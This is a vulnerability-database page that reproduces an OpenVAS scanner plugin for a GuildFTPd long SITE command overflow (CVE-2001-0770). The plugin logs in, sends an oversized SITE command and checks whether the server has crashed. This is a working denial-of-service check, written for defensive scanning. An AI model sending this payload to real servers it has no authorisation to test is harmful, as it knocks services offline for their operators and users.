Lucene search

K

GuildFTPd Long SITE Command Overflow

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2004 David MaciejakType 
openvas
 openvas
🔗 plugins.openvas.org👁 16 Views

The remote FTP server is vulnerable to denial of service attack through a specially long SITE command

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
GuildFTPd Long SITE Command Overflow
30 Nov 200400:00
nessus
NVD
CVE-2001-0770
18 Oct 200104:00
nvd
OpenVAS
GuildFTPd Long SITE Command Overflow
3 Nov 200500:00
openvas
Cvelist
CVE-2001-0770
25 Jun 200204:00
cvelist
CVE
CVE-2001-0770
25 Jun 200204:00
cve
SourceLink
securityfocuswww.securityfocus.com/bid/2782
# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.15851");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2782");
  script_cve_id("CVE-2001-0770");
  script_xref(name:"OSVDB", value:"5540");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("GuildFTPd Long SITE Command Overflow");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2004 David Maciejak");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_keys("ftp/login");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/guildftpd/detected");

  script_tag(name:"solution", value:"Upgrade or install another ftp server.");

  script_tag(name:"summary", value:"The remote FTP server seems to be vulnerable to denial service attack through
  the SITE command when handling specially long request.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if ( ! banner || "GuildFTP" >!< banner )
  exit(0);

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];
if(login)
{
  soc = open_sock_tcp(port);
  if(!soc)exit(0);

  if(ftp_authenticate(socket:soc, user:login, pass:password))
  {
    data = string("SITE ", crap(262), "\r\n");
    send(socket:soc, data:data);
    reply = ftp_recv_line(socket:soc);
    sleep(1);
    soc2 = open_sock_tcp(port);
    if(!soc2)
    {
      security_message(port);
    }
    close(soc2);
    data = string("QUIT\n");
    send(socket:soc, data:data);
  }
  close(soc);
}

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
03 Nov 2005 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS27.5
EPSS0.0321
16
.json
Report